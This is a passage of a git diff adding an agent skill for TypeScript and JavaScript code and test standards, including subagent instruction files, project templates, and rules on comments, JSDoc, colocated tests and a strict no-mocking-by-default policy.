logic changes ship with tests, one colocated test per source file, and a strict mocking policy whose default is not to mock. Detects the host project's own Prettier, ESLint, TypeScript, and test-runner configuration and obeys that rather than imposing formatting. Use when writing, editing, or reviewing a .ts, .tsx, .js, .jsx, .mjs, .cjs, .mts, or .cts file; when adding or repairing a Jest, Vitest, Mocha, or Cypress test; when a failing test tempts a mock, a skip, a weakened assertion, or a production fallback; when writing or auditing JSDoc or code comments; and during any review of a TypeScript or JavaScript diff. Also settles style questions a project's own rules leave open, from a bundled Google TypeScript Style Guide digest. +license: MIT +metadata: + version: "1.0.0" + origin: "https://github.com/AlexJSully/AlexJSully-Portfolio" +paths: + - "**/*.ts" + - "**/*.tsx" + - "**/*.js" + - "**/*.jsx" + - "**/*.mjs" + - "**/*.cjs" + - "**/*.mts" + - "**/*.cts" +--- + +# TypeScript code and test standards + +Covers `.ts`, `.tsx`, `.js`, `.jsx`, `.mjs`, `.cjs`, `.mts`, and `.cts`. It carries the discipline no tool checks: what a comment is allowed to say, what a documentation block owes a reader, when a test is required, and when a mock is justified. + +## What this skill decides and what it does not + +The host project's own tooling owns everything it can check, and this skill never overrides it: + +- The **formatter** owns indentation, quotes, semicolons, line width, trailing commas, and import order. +- The **linter** owns unused variables, equality operators, brace enforcement, and rule-level style. +- The **compiler** owns types and strictness. + +This skill owns comments, documentation blocks, readability judgement, the test mandate, and mocking. It reports and follows configuration. **It never creates or edits a configuration file to make a project match itself.** + +## Step 1: Detect the project + +Read the project before writing anything. Never assume a convention this skill happens to prefer. + +| Signal | Read it from | It decides | +| --- | --- | --- | +| Formatting | `.prettierrc*`, `prettier.config.*`, a `prettier` key in `package.json`, `biome.json`, `dprint.json` | Tabs or spaces, width, quotes, semicolons, trailing commas, import order | +| Lint rules | `eslint.config.*`, `.eslintrc*`, `biome.json` | Which style rules are enforced and which are off | +| Type strictness | `tsconfig.json`, `jsconfig.json` | `strict`, `isolatedModules`, `paths` aliases, whether JavaScript is type-checked | +| Import style | `compilerOptions.paths`, and what neighbouring files actually import | Aliases against relative paths | +| Commands | `package.json` scripts, `Makefile`, `justfile`, `pyproject.toml` | How to format, lint, type check, test | +| Test runner | `jest.config.*`, `vitest.config.*`, `cypress.config.*`, `playwright.config.*`, a `jest` key in `package.json` | Test file naming, location, environment, path mapping | +| Editor defaults | `.editorconfig` | Indentation and line endings for files no formatter covers | +| Project rules | `AGENTS.md`, `CLAUDE.md`, `.github/copilot-instructions.md`, `.claude/rules/*.md`, `.cursor/rules/*` | Everything, see the precedence below | + +Full detail, including how to read a flat against a legacy lint config, is in [project-detection.md](references/project-detection.md). + +### Precedence when signals disagree + +1. **A project rules file beats this skill on every conflict, without exception.** If the project says something different, the project wins and you say nothing about it. +2. **The formatter beats `.editorconfig`** for every file the formatter formats. `.editorconfig` decides only for files no formatter covers. +3. **The linter beats this skill's readability rules** where the two overlap. A rule the project turned off is a decision, not an oversight. +4. **No configuration answers the question:** match the surrounding code. Read two or three neighbouring files of the same kind and follow what they already do. +5. Never fall back to this skill's own preference for something a project has settled, and never introduce a formatting change the project did not ask for. + +## Step 2: Choose a decision procedure + +Writing new code, reviewing a diff, and fixing a failing test are different jobs. Pick one. + +### Writing new code + +1. Detect the project if you have not already. +2. Write to the detected formatting and let the formatter own layout. Do not hand-align anything a formatter will rewrite. +3. Give every exported symbol a documentation block before moving on, including the members of exported structures. See **Documentation blocks** below. +4. Reread every comment you wrote and delete any that narrates the change rather than describing the code. +5. If the change is logic, a bug fix, or a feature, its test lands in the same change. If it is a pure rename, move, or refactor, add no test and weaken none. +6. Run the detected format, lint, type check, and test commands, and confirm the exit codes. Reading the output is not confirming the exit code. + +### Reviewing code or a diff + +1. Detect the project. +2. **Run the project's own format, lint, and type check commands first.** Never report by eye something a tool reports by exit code, and never report a finding the project's configuration has already turned off. +3. Then review only what tools cannot see, in this order: + - A comment that narrates a change, or argues the code is correct or safe. + - A missing or wrong documentation block on an exported symbol. + - An existing documentation tag stripped or reworded. Deleting an accurate tag is itself a defect, not tidying. + - Commented-out code, and any deleted tooling directive. + - A logic change with no test, or a test weakened, skipped, or deleted. + - **Every new mock.** Require the change to name the boundary it crosses in one line. If it cannot, the finding is an unjustified mock. +4. Spawn the bundled subagents when the diff runs past a few files. See **Subagents** below. + +### Fixing a failing test + +1. Read the test, read the source, and **name the cause in one sentence before editing anything.** +2. Decide which side is wrong. If the source is wrong, fix the source. If the test encodes a behaviour the change deliberately replaced, rewrite the test to assert the new behaviour and say so explicitly. +3. These are never the fix: `.skip`, deleting the test, deleting an assertion, loosening an assertion to something that cannot fail, adding a mock, adding a production fallback such as `?? defaultValue`, widening a type, or an `eslint-disable`. +4. A mock added while chasing a red test hides the failure rather than fixing it. If a mock seems necessary, restart the mocking ladder from the top. +5. Re-run the single test, then the suite. **Confirm the reported test count**, because a runner configured to pass with no tests exits 0 on zero tests. + +## Comments + +- **Comments describe the code as it stands.** Never narrate a change, a fix, or a prior state ("now uses", "changed to", "previously", "no longer", "restored"). Version control carries that, and the comment outlives the change that prompted it. +- **Never argue that the code is correct or safe.** A note defending a decision documents the edit rather than the code. Say what something does or why it exists; do not justify that it works. +- A comment that contradicts the code is **corrected, not deleted**. When the two disagree, the code is the truth. +- Delete commented-out code rather than leaving it in place. +- Inside a function body, a comment restating the line beneath it is noise. Delete those, and keep anything carrying a constraint, hazard, or non-obvious behaviour. On a public surface, redundancy is not a defect. +- **Never delete a tooling directive.** `//@ts-check`, `/// `, `// @ts-expect-error`, `eslint-disable`, `biome-ignore`, `istanbul ignore`, and `prettier-ignore` are instructions to a tool, not commentary. +- Use `//` for implementation notes, and consecutive `//` lines for a multi-line note. No `/* */` block inside a function body, with one exception: naming an argument at a call site, `someFunction(/* shouldRender= */ true)`. + +## Documentation blocks + +- **Every exported symbol carries a documentation block, without exception**, and so do the members of an exported structure: interface properties, object keys, enum values. Write for a reader meeting it for the first time. Reach for what the signature cannot express: why it exists, a constraint, an invariant, a caller obligation. Where nothing better exists, a plain restatement is correct. Being obvious is not a defect on a public surface; being absent is. +- A private helper gets a block when its behaviour is not evident from its name and signature. A binding declared inside a function body does not. +- **Types in a documentation block depend on whether the file is type-checked.** In a file TypeScript checks, omit `@param {string}`, `@returns {number}`, `@type`, and `@typedef`: the compiler already carries the type, so the annotation becomes prose that drifts from the signature. **In a plain JavaScript file where the documentation block is the type system**, those annotations are load-bearing and stay. Check `tsconfig.json`, `jsconfig.json`, and any `//@ts-check` directive before removing one. +- **Leave existing tags alone unless they are wrong.** A tag already in the tree was added deliberately, annotation and all. Read the surrounding code, correct what is factually wrong, and change nothing else: do not strip a `{type}` annotation, reword accurate prose, or delete a tag for looking redundant. Delete one only when it is wrong and uncorrectable, such as documenting a parameter the signature no longer has. +- `@throws`, `@example`, `@deprecated`, and `@see` are encouraged: none are expressible in the type system. `@deprecated` names its replacement. +- Open a function or component block with a third-person verb phrase ("Returns the parsed config"), not an imperative. +- One tag per line, tag at line start. A block stays on one line until it overflows, at which point the delimiters move to their own lines. Bodies are Markdown, so an enumeration needs a real list rather than indented text. +- **No Markdown link syntax.** `[text](url)` is Markdown's, not JSDoc's, and `[name](#anchor)` is worse: there is no document to anchor into, so it renders as dead text. Reference a symbol with `{@link SymbolName}`, which the compiler resolves into working hover and Go to Definition. Point at an external page with `@see https://example.com`, or inline it as `{@link https://example.com Display text}`. +- The block precedes a decorator and never sits between the decorator and the declaration. + +Worked before-and-after examples are in [comments-and-jsdoc.md](references/comments-and-jsdoc.md). + +## Readability + +Prefer the readable form wherever it costs nothing at runtime, and only where the project's linter has not already decided otherwise. + +- Braced blocks for anything that is not a single-line early exit. `if (!data) return;` may stay unbraced on one line, as may `break`, `continue`, and `throw`. Everything else takes braces, including a single-statement body that spans lines. +- A blank line before `return`, `break`, `continue`, and `throw` when it is not the first statement in its block. +- No blank lines between `switch` cases. +- Separate groups that do different work with a blank line: setup, action, assertion; or fetch, transform, render. +- Where the project's formatter runs after its linter's autofix, run the formatter again afterwards. A brace-inserting fix and a line-breaking formatter disagree, and the formatter's check is what CI runs. + +## Tests + +**The mandate.** Logic changes, bug fixes, and new features land with their tests in the same change, asserting the specific behaviour the change introduces or repairs. Pure refactors, renames, and file moves need no new tests, but every existing test must still pass. A change that skips or weakens a test is a behaviour change, not a refactor. + +**One test file per source file**, colocated and same-named, following whatever suffix the project already uses. No orphan test file without a same-named source beside it, no test file named after a function that lives in another file, and no second test file for one source. + +Files typically exempt: static data modules, type-only modules, generated files, framework metadata or route manifest exports, and instrumentation entry points. Components are **not** exempt. Confirm the project's own exemption list rather than assuming this one. + +**Never:** + +- Skip, gut, or delete a failing test. Read the test, read the source, find the cause, fix it, confirm it passes with real assertions. +- Use `.skip` on a test or suite. Remove a skipped test rather than leaving it. +- Write a no-op assertion (`expect(true).toBe(true)`), an assertion that restates the implementation, or a type assertion of an already-typed value. +- Build a one-row table-driven test. Make it a plain single case. +- Add a fallback in production code to make a test pass. + +Every test answers one question: what behaviour does this lock in that a real future change could break? If the answer is nothing, delete it. + +Naming, table-driven discipline, and the full exemption reasoning are in [test-standards.md](references/test-standards.md). + +## Mocking + +**The default is not to mock.** A mock is a claim about how a dependency behaves, written by the person whose code is under test, and it keeps passing after the real dependency changes. Every one you add subtracts from what the test proves. A test whose collaborators are all mocked asserts only that mocks were called. + +This applies to every substitution technique, not just a module mocker: stubs, fakes, spies that replace behaviour, hand-written doubles, and monkey-patching a module's export. + +**Reach for a mock only when the real thing cannot run in the test.** Exhaust these first, in order: + +1. Use the real implementation with real inputs. Most helpers, utilities, hooks, and components run fine in the test environment. +2. Pass a value in rather than replacing a module. A function that takes its dependency as an argument needs no mock. +3. Build a real object or fixture and assert on the real output. +4. Move the assertion to a level where the seam is real, or cover it in an end-to-end test instead. + +**Never mock code that holds logic**, whoever wrote it. Helpers, utilities, domain logic, components, hooks, constants, and static data modules are exercised for real. **Never mock the subject under test, in whole or in part**: a partial mock of the module you are testing means the test no longer tests it. + +**Mock only at an input or output boundary**, and only the outermost one the test needs. A boundary qualifies when the real thing cannot run in the test environment: a third-party SDK that reaches the network, the project's own thin wrapper around such an SDK when testing a consumer of it, framework context the test renderer cannot supply, the clock, and platform APIs the test environment omits. + +A wrapper qualifies only because its whole job is to reach the outside world. That is a narrow exception, not a licence to mock a project module that computes something. + +**Anything outside those boundaries needs a one-line comment above the mock naming which boundary it crosses.** If you cannot write that sentence, the mock is not justified: use the real thing. + +**Never mock to make a failing test pass.** A mock introduced while chasing a red test is hiding the failure. + +The escalation ladder, the logic-against-boundary test, and worked examples are in [mocking-policy.md](references/mocking-policy.md). + +## Settling a style question + +When the project's configuration, its rules files, and the surrounding code all leave a question open, use the [Google TypeScript Style Guide digest](references/google-typescript-style-digest.md). It covers naming, the type system, assertions and suppressions, imports and exports, language features, and errors, limited to rules a formatter and linter do not already enforce. + +A project that consistently applies a different variant of one of those rules has a preference, not a defect. Follow the project. + +## Subagents + +Two subagent instruction files ship with this skill. Each is self-contained: a spawned subagent inherits none of this context, so the file restates every rule it enforces. Both report findings and edit nothing. + +- [test-quality-reviewer.md](agents/test-quality-reviewer.md), for a test-quality pass weighted to over-mocking. Judging whether a mocked module holds logic means opening that module, its imports, and the subject under test, which is a lot of reading for a short answer. +- [comment-and-jsdoc-auditor.md](agents/comment-and-jsdoc-auditor.md), for a comment and documentation pass. Enumerating every export in a file set means reading whole files to produce a short list. + +There is deliberately no style reviewer: the project's own linter and compiler report that more reliably and at no token cost. + +## Adopting this skill in a project + +The skill is self-contained, so copying this directory into `.claude/skills/` is the whole install for any agent that reads the Agent Skills format. + +Two drop-in templates cover the surfaces a skill directory does not reach: + +- [project-rules.template.md](assets/project-rules.template.md) goes in `.claude/rules/`. It carries a `paths:` glob array and records the project-specific conventions this skill deliberately does not hold. Claude Code and the VS Code Copilot extension both read that location. +- [copilot-instructions.template.md](assets/copilot-instructions.template.md) goes in `.github/instructions/`. It carries an `applyTo:` glob string and is a self-contained digest rather than a pointer, because Copilot code review on github.com has no skill loader and cannot follow a link into a skill directory. Use this path when a repository policy prevents installing the skill itself. + +## Verify + +Run the project's own commands and confirm exit codes rather than reading output. Where a lint autofix ran, run the formatter again afterwards and finish with the formatter's check command, which is what CI runs. Confirm the reported test count, not just a green exit. diff --git a/.claude/skills/typescript-code-and-test-standards/agents/comment-and-jsdoc-auditor.md b/.claude/skills/typescript-code-and-test-standards/agents/comment-and-jsdoc-auditor.md new file mode 100644 index 00000000..c8526a3e --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/agents/comment-and-jsdoc-auditor.md @@ -0,0 +1,103 @@ +# Comment and documentation auditor agent + +Audit comments and documentation blocks across a set of source files. Report findings. Edit nothing. + +## Role + +You enumerate every exported symbol in the files given, check whether each carries a documentation block written from its implementation, and check every comment against the rules below. That means reading whole files to produce a short list, which is why this runs as a separate pass. + +**You do not edit files.** Your caller decides what to change. + +**The rule you are most likely to break yourself is the one about leaving existing tags alone.** Read that section before you start. + +## Inputs + +Your prompt supplies: + +- `files`: the source files to audit, or a diff. +- `typeChecked`: whether the compiler type-checks these files, and how you may confirm it. If it is not supplied, establish it yourself before reporting anything about types in documentation blocks. +- `scope`: whether to audit whole files or only changed lines. + +## Process + +1. **Establish whether each file is type-checked.** Read `tsconfig.json` or `jsconfig.json` for `checkJs` and `allowJs`, and check the file for a `//@ts-check` directive. This decides one whole class of finding, and getting it backwards destroys working type information. +2. **Read each file in full.** Not an excerpt. +3. **List every exported symbol**, including members of exported structures: interface properties, object keys, enum values, and public class members. +4. **For each undocumented exported symbol, read its implementation body** before saying anything about it. See the rule below. +5. **Check every comment** against the comment rules. +6. **Check every existing documentation tag** against the leave-it-alone rule. +7. Report. + +## Documented surface + +Every exported symbol carries a documentation block, and so does every member of an exported structure. + +**But a block written from the symbol's name is a defect, and it is the defect this pass exists to prevent.** So: + +- Where you have read the implementation body and it is undocumented, report it as missing and say in one clause what the body does, so the caller can write the block. +- **Where you could not read the body**, report it under `UNVERIFIED` and say why. Do not describe what you think it does. A symbol reported as unverified is a correct outcome; a plausible description invented from its name is not. + +A private helper needs a block only when its behaviour is not evident from its name and signature. A binding inside a function body does not. + +## Types in a documentation block + +Conditional on step 1, and the two cases are opposites: + +- **In a file the compiler type-checks**, a `@param {string}`, `@returns {number}`, `@type`, or `@typedef` annotation in a **newly written** block is noise: the compiler carries the type and the annotation drifts. Same for `@implements`, `@enum`, `@private`, `@public`, `@protected`, `@readonly`, `@abstract`, and `@override` beside the corresponding keyword. +- **In a plain JavaScript file where the documentation block is the type system**, those annotations are the type information. Reporting one as removable is a type regression. Do not. + +Either way, the leave-it-alone rule below governs annotations that already exist. + +## Leaving existing tags alone + +**A tag already in the tree was added deliberately, annotation and all.** Do not report an existing tag as removable because a convention would omit it in new code. + +Specifically, do not report: + +- A `{type}` annotation as strippable because the file is TypeScript. +- Accurate prose as needing rewording. +- A tag as deletable for looking redundant. +- Tags as needing reordering. + +Report a tag only when it is **factually wrong**: it describes a parameter the signature no longer has, names the wrong type in a file where the annotation is load-bearing, states a return the function does not produce, or documents behaviour the body contradicts. Say what is wrong and what the body actually does. + +## Comment rules to check + +- **Narrates a change.** Any comment about a change, a fix, or a prior state: "now uses", "changed to", "updated to", "previously", "no longer", "restored", "switched from", or any paraphrase. Finding. +- **Argues the code is correct or safe.** A comment defending a decision or asserting that something works documents the edit rather than the code. Finding. +- **Contradicts the code.** Finding, and the fix is to **correct the comment, not delete it**. The code is the truth; the mismatch is often the most interesting thing in the file. +- **Restates the line beneath it**, inside a function body. Finding, and the fix is deletion. On a public surface, redundancy is not a defect and is not a finding. +- **Commented-out code.** Finding, and the fix is deletion. +- **Markdown link syntax inside a documentation block.** `[text](url)`, and worse `[name](#anchor)`, which renders as dead text in a hover tooltip. Finding. The fix is `{@link SymbolName}`, `@see https://example.com`, or `{@link https://example.com Display text}`. +- **A block comment inside a function body.** Finding, with one exception: naming an argument at a call site, `someFunction(/* shouldRender= */ true)`. +- **A block sitting between a decorator and its declaration.** It belongs before the decorator. Finding. +- **An imperative opener** on a function or component block ("Return the parsed config" rather than "Returns the parsed config"). Suggestion only. +- **A deprecation with no replacement named.** Finding. + +## Never report as removable + +These are instructions to a tool, not commentary, and deleting one changes behaviour: + +`//@ts-check`, `/// `, `// @ts-expect-error`, `// @ts-ignore`, `eslint-disable` and `eslint-disable-next-line`, `biome-ignore`, `istanbul ignore`, `prettier-ignore`, `v8 ignore`, `c8 ignore`, bundler magic comments such as `webpackChunkName`, framework directives such as `'use client'` and `'use server'`, and license headers. + +## Output format + +Return findings only. + +```text +SEVERITY file:symbol + What: one sentence naming the defect. + Evidence: the exact comment or declaration, quoted. + Fix: the concrete change. +``` + +Severity is `BLOCKING` for a comment that contradicts the code and for a factually wrong tag; `SHOULD FIX` for a missing block on an exported symbol, a change-narrating comment, a safety-arguing comment, commented-out code, or Markdown link syntax; `SUGGESTION` for form. Use `UNVERIFIED` for any symbol whose body you could not read. + +Where you find nothing, say so in one line. Do not invent findings to fill the report. + +## Guidelines + +- **Quote the actual text.** A finding you cannot quote is dropped. +- **Read the body before describing a symbol.** Never write a description inferred from a name; that is the drift this audit exists to stop. +- **Do not report what the linter reports.** Formatting, spacing, and line width are not yours. +- One finding per defect. diff --git a/.claude/skills/typescript-code-and-test-standards/agents/test-quality-reviewer.md b/.claude/skills/typescript-code-and-test-standards/agents/test-quality-reviewer.md new file mode 100644 index 00000000..dc619fb5 --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/agents/test-quality-reviewer.md @@ -0,0 +1,97 @@ +# Test quality reviewer agent + +Review a set of test files for tests that do not lock in behaviour, weighted toward over-mocking. Report findings. Edit nothing. + +## Role + +You judge whether each test would fail if the behaviour it names were broken, and whether each mock is justified. Answering the mocking question means opening the mocked module and reading its body, which is why this runs as a separate pass: the reading is expensive and the answer is short. + +You did not write these tests, which is the point. The author knows why each mock felt necessary; you only see whether it is. + +**You do not edit files.** Your caller decides what to change. + +## Inputs + +Your prompt supplies: + +- `files`: the test files to review, or a diff. +- `runner`: the test runner in use, if known. +- `scope`: whether to review the whole file or only changed lines. + +## Process + +1. **Read each test file in full.** Not an excerpt. +2. **For every mock, stub, fake, spy that replaces behaviour, hand-written double, or monkey-patched export, open the module being replaced and read its body.** You cannot judge a mock without doing this. Apply the test in the next section. +3. **For every test case, ask whether it would fail if the behaviour named in its title were broken.** Where the answer is no, say what it actually asserts. +4. **Scan for the prohibitions** listed below. +5. **Scan for flakiness sources** listed below. +6. Report. + +## The logic-against-boundary test + +For each mocked module, ask: **if this module's body changed, should some test fail?** + +- **Yes** means it holds logic. **Mocking it is a finding.** Helpers, utilities, domain logic, components, hooks, constants, and static data modules all answer yes, whoever wrote them. +- **No, its whole job is handing work to something outside the process** means it is a boundary, and the mock may be justified. + +Boundaries that qualify, each because the real thing cannot run in a test environment: + +- A third-party SDK that reaches the network. +- The project's own thin wrapper around such an SDK, when a consumer of it is under test. It qualifies only because it does nothing but reach outside. The moment it validates, transforms, retries, caches, or branches, it holds logic and mocking it is a finding. +- Framework context the test renderer cannot supply, such as routing or request context. +- The clock, through the runner's fake timers. +- Platform APIs the test environment omits. +- A module with an unavoidable side effect at import time. + +These do **not** qualify: a module that is merely slow, a module that is awkward to set up, a module whose real output is hard to assert on, a module written by someone else, or the file system in most cases. + +**Mocking the subject under test, in whole or in part, is always a finding.** The parts replaced are the parts no longer tested. + +**A mock outside the qualifying list needs a one-line comment above it naming the boundary it crosses.** A mock without that comment is a finding. A mock whose comment does not name a boundary is the same finding. + +## Prohibitions to scan for + +- `.skip` on any test or suite. +- A no-op assertion, such as one comparing a literal to itself. +- An assertion that restates the implementation line for line. +- A type assertion of an already-typed value. +- A table-driven test with exactly one row. +- A test deleted or an assertion weakened in the diff, where the change is not a deliberate behaviour replacement stated as such. +- A fallback added in production code that exists only to make a test pass. +- An orphan test file with no same-named source beside it, or a second test file for one source. + +## Flakiness sources to scan for + +- Wall-clock reads or date arithmetic without a frozen clock. +- Unseeded randomness. +- Iteration order of a map, set, or directory listing relied on as stable. +- An unawaited promise. +- A real network call or a sleep inside a test. +- State shared between cases through a module-level variable, or mock state not cleared between cases. +- An assertion racing an animation or transition. + +## Output format + +Return findings only. No preamble, no summary of what the tests do well unless a finding depends on it. + +For each finding: + +```text +SEVERITY file:symbol-or-test-title + What: one sentence naming the defect. + Evidence: the exact line or mock, quoted. + Why: what breaks, or what stops being tested. + Fix: the concrete change, or the ladder rung to try instead. +``` + +Severity is `BLOCKING` for a mock of a logic-holding module, a mocked subject under test, a `.skip`, or a weakened assertion; `SHOULD FIX` for an unjustified boundary mock, a missing justification comment, or a flakiness source; `SUGGESTION` for everything else. + +Where you find nothing, say so in one line. Do not invent findings to fill the report. + +## Guidelines + +- **Quote the actual line.** A finding you cannot quote is dropped, not softened. +- **Read the mocked module before judging the mock.** A guess about whether it holds logic is worthless here, and it is the one thing this pass exists to establish. +- **Respect a deliberate decision.** A mock with a clear boundary comment, a grandfathered test title, or a convention the project's own rules file mandates is not a finding. +- **Do not report what the linter reports.** Formatting, unused variables, and import order are not yours. +- One finding per defect. Do not restate the same mock under three headings. diff --git a/.claude/skills/typescript-code-and-test-standards/assets/copilot-instructions.template.md b/.claude/skills/typescript-code-and-test-standards/assets/copilot-instructions.template.md new file mode 100644 index 00000000..9b39fbc1 --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/assets/copilot-instructions.template.md @@ -0,0 +1,76 @@ +--- +applyTo: "**/*.ts,**/*.tsx,**/*.js,**/*.jsx" +--- + +# TypeScript code and test standards + +Copy this file to `.github/instructions/typescript-standards.instructions.md` in your own repository. The `.instructions.md` suffix is required there; a plain `.md` file in that folder is ignored. It **duplicates** the skill rather than linking to it, because Copilot code review on github.com has no skill loader and cannot follow a link into a skill directory. Use this path when a repository policy prevents installing the skill itself. Note that `applyTo` takes a single comma-separated string, not a list; a list is silently ignored. + +## Precedence + +This project's formatter owns indentation, quotes, semicolons, width, trailing commas, and import order. Its linter owns unused variables, equality, and brace enforcement. Its compiler owns types. Never report a violation of a rule the project's configuration has turned off, and never change a configuration file to match these rules. + +Everything below is what those tools cannot check. + +## Comments + +- **Comments describe the code as it stands.** Never narrate a change, a fix, or a prior state ("now uses", "changed to", "previously", "no longer", "restored"). Version control carries that, and the comment outlives the change that prompted it. +- **Never argue that the code is correct or safe.** A note defending a decision documents the edit rather than the code. +- A comment that contradicts the code is **corrected, not deleted**. The code is the truth. +- Delete commented-out code. +- Inside a function body, a comment restating the line beneath it is noise. On a public surface, redundancy is not a defect. +- **Never delete a tooling directive**: `//@ts-check`, `/// `, `// @ts-expect-error`, `eslint-disable`, `biome-ignore`, `istanbul ignore`, `prettier-ignore`, bundler magic comments, framework directives such as `'use client'`, and license headers. +- Use `//` for implementation notes. No block comment inside a function body, except to name an argument at a call site: `someFunction(/* shouldRender= */ true)`. + +## Documentation blocks + +- **Every exported symbol carries one**, and so do the members of an exported structure: interface properties, object keys, enum values. Write for a reader meeting it for the first time. Reach for what the signature cannot express (why it exists, a constraint, an invariant, a caller obligation); where nothing better exists, a plain restatement is correct. Being obvious is not a defect on a public surface; being absent is. +- **Write it from the implementation, never from the symbol's name.** If the body cannot be read, leave the symbol undocumented and say so. A block invented from a name is how drift starts. +- **Types depend on whether the file is type-checked.** In a file the compiler checks, omit `@param {string}`, `@returns {number}`, `@type`, and `@typedef`: the compiler carries the type and the annotation drifts. In a plain JavaScript file where the documentation block **is** the type system, those annotations are load-bearing and stay. Check `tsconfig.json`, `jsconfig.json`, and any `//@ts-check` directive first. +- **Leave existing tags alone unless they are factually wrong.** Do not strip a `{type}` annotation, reword accurate prose, delete a tag for looking redundant, or reorder tags. Delete one only when it is wrong and uncorrectable, such as documenting a parameter the signature no longer has. +- `@throws`, `@example`, `@deprecated`, and `@see` are encouraged; none are expressible in the type system. `@deprecated` names its replacement. +- Open a function block with a third-person verb phrase ("Returns the parsed config"). +- **No Markdown link syntax.** `[text](url)` is Markdown's, and `[name](#anchor)` renders as dead text in a hover tooltip. Use `{@link SymbolName}`, `@see https://example.com`, or `{@link https://example.com Display text}`. +- The block precedes a decorator and never sits between the decorator and the declaration. + +## Readability + +- Braced blocks except for a single-line early exit (`if (!data) return;`, `break`, `continue`, `throw`). +- A blank line before `return`, `break`, `continue`, and `throw` when not first in the block. +- No blank lines between `switch` cases. +- Separate groups doing different work with a blank line: setup, action, assertion. + +## Tests + +- **Logic changes, bug fixes, and new features land with their tests in the same change.** Pure refactors need no new tests, but no existing test may be skipped, deleted, or weakened. A diff that weakens a test is a behaviour change, not a refactor. +- **One test file per source file**, colocated and same-named. No orphan test file, no test file named after a function that lives elsewhere, no second test file for one source. +- **Never**: skip, gut, or delete a failing test; use `.skip`; write a no-op assertion or one that restates the implementation; type-assert an already-typed value; build a one-row table-driven test; or add a fallback in production code to make a test pass. +- Every test answers one question: what behaviour does this lock in that a real future change could break? The review form is sharper: **would this test fail if the behaviour it names were broken?** +- Name the subject in the suite and the behaviour in the case, as a third-person verb phrase. New titles do not start with "should". +- Table-driven tests name every field; no positional rows. Rows that differ in the assertion body belong in separate cases. +- Confirm the reported test count, not just a green exit: a runner configured to pass with no tests exits 0 on zero tests. + +## Mocking + +**The default is not to mock.** A mock is a claim about a dependency written by the person whose code is under test, and it keeps passing after the real dependency changes. A test whose collaborators are all mocked asserts only that mocks were called. This covers every substitution technique: stubs, fakes, behaviour-replacing spies, hand-written doubles, and monkey-patched exports. + +**Exhaust these first, in order:** + +1. Use the real implementation with real inputs. +2. Pass the value in rather than replacing a module. +3. Build a real object or fixture and assert on real output. +4. Move the assertion to a level where the seam is real, or cover it end to end. + +**Never mock code that holds logic**, whoever wrote it: helpers, utilities, domain logic, components, hooks, constants, static data modules. The test is: if this module's body changed, should some test fail? Yes means it holds logic. + +**Never mock the subject under test, in whole or in part.** + +**Mock only at an input or output boundary**, and only the outermost one needed: a third-party SDK that reaches the network, the project's own thin wrapper around one when testing a consumer, framework context the renderer cannot supply, the clock, platform APIs the test environment omits, or a module with an unavoidable import-time side effect. A wrapper qualifies only because its whole job is to reach outside; the moment it validates, transforms, retries, or caches, it holds logic. + +**Anything outside those boundaries needs a one-line comment above the mock naming the boundary it crosses.** If that sentence cannot be written, the mock is not justified. + +**Never mock to make a failing test pass.** A mock introduced while chasing a red test hides the failure. + +## Flakiness + +Flag wall-clock reads and date arithmetic without a frozen clock, unseeded randomness, iteration order relied on as stable, an unawaited promise, a real network call or sleep in a test, state shared between cases through a module-level variable or uncleared mock state, and an assertion racing an animation. diff --git a/.claude/skills/typescript-code-and-test-standards/assets/project-rules.template.md b/.claude/skills/typescript-code-and-test-standards/assets/project-rules.template.md new file mode 100644 index 00000000..ff1e600d --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/assets/project-rules.template.md @@ -0,0 +1,51 @@ +--- +paths: + - "**/*.ts" + - "**/*.tsx" + - "**/*.js" + - "**/*.jsx" +--- + +# Code and test conventions + +Copy this file to `.claude/rules/code-and-test-conventions.md` in your own repository, or any `.md` name you prefer there, and fill in each section. Claude Code loads it automatically when a matching file is touched, and the VS Code Copilot extension reads the same location. Delete each instruction sentence as you replace it, and delete any heading your project has nothing to put under. + +**Read `../skills/typescript-code-and-test-standards/SKILL.md` before editing any TypeScript or JavaScript file here.** It carries the comment, documentation, readability, testing, and mocking rules this file does not repeat. Convert that path to a markdown link once this file sits in `.claude/rules/`, where it resolves. + +That imperative sentence is the point of this file. A path-scoped rule loads reliably whenever a matching file is edited, while a skill loads when its description matches the request, so this file is what guarantees the skill is read. + +## Imports + +Record whether your project uses path aliases or relative imports, and name every alias. Name the one documented exception if you have one, such as a test importing its own subject. State whether Node built-ins use the bare specifier or the `node:` prefix. + +## Exports + +Record which kinds of module default-export their subject and which use named exports, since frameworks usually force a default export on route and page files while the rest of the codebase may not want one. + +## Components and styling + +Record how components are styled, how assets such as icons are imported, and any framework rule about which components run on the server by default and what opts one into the client. + +## Types + +Record your strictness posture and anything a contributor gets wrong repeatedly, such as how to treat an existing `any` or where a compiler-error suppression is permitted. + +## Style guide carve-outs + +Record every rule from the skill's Google TypeScript Style Guide digest that your project deliberately does not follow, and why. The four most commonly overridden are default exports, file naming, underscore prefixes on intentionally unused bindings, and mandatory return-type annotations. + +## Mock boundaries in this project + +Record the exact modules your tests are allowed to mock and what boundary each one crosses. The skill states the principle; this list is the project's application of it, and it is what makes an unjustified mock visible in review. + +## Test file exemptions + +Record which files in your project do not need a colocated test, and state explicitly which categories are **not** exempt. + +## Test patterns + +Record the render helpers, event helpers, and setup shape your tests use, plus any library that is deliberately not a dependency so nobody reaches for it. + +## Validation + +Record the exact command that runs your full gate, what it covers, and anything a contributor must know about reading its result, such as a flag that lets a zero-test run exit successfully. diff --git a/.claude/skills/typescript-code-and-test-standards/references/comments-and-jsdoc.md b/.claude/skills/typescript-code-and-test-standards/references/comments-and-jsdoc.md new file mode 100644 index 00000000..1d53ab87 --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/references/comments-and-jsdoc.md @@ -0,0 +1,162 @@ +# Comments and documentation blocks + +The comment and documentation rules at full length, with worked before-and-after pairs. The compressed rules are in the skill body. + +## Contents + +- The single idea behind every comment rule +- Comments that narrate a change +- Comments that argue the code is safe +- Correcting rather than deleting +- Comments that restate the line beneath them +- Tooling directives are not comments +- Documentation blocks: what carries one +- Types in a documentation block +- Leaving existing tags alone +- Tags worth adding +- Form +- Links inside a documentation block + +## The single idea behind every comment rule + +A comment outlives the change that prompted it. That one fact generates most of the rules: anything written for the moment of the edit becomes wrong or meaningless later, while anything written about the code as it stands survives until the code changes, at which point it is corrected alongside. + +So the test for any comment is: **will this still be true and still be useful to someone 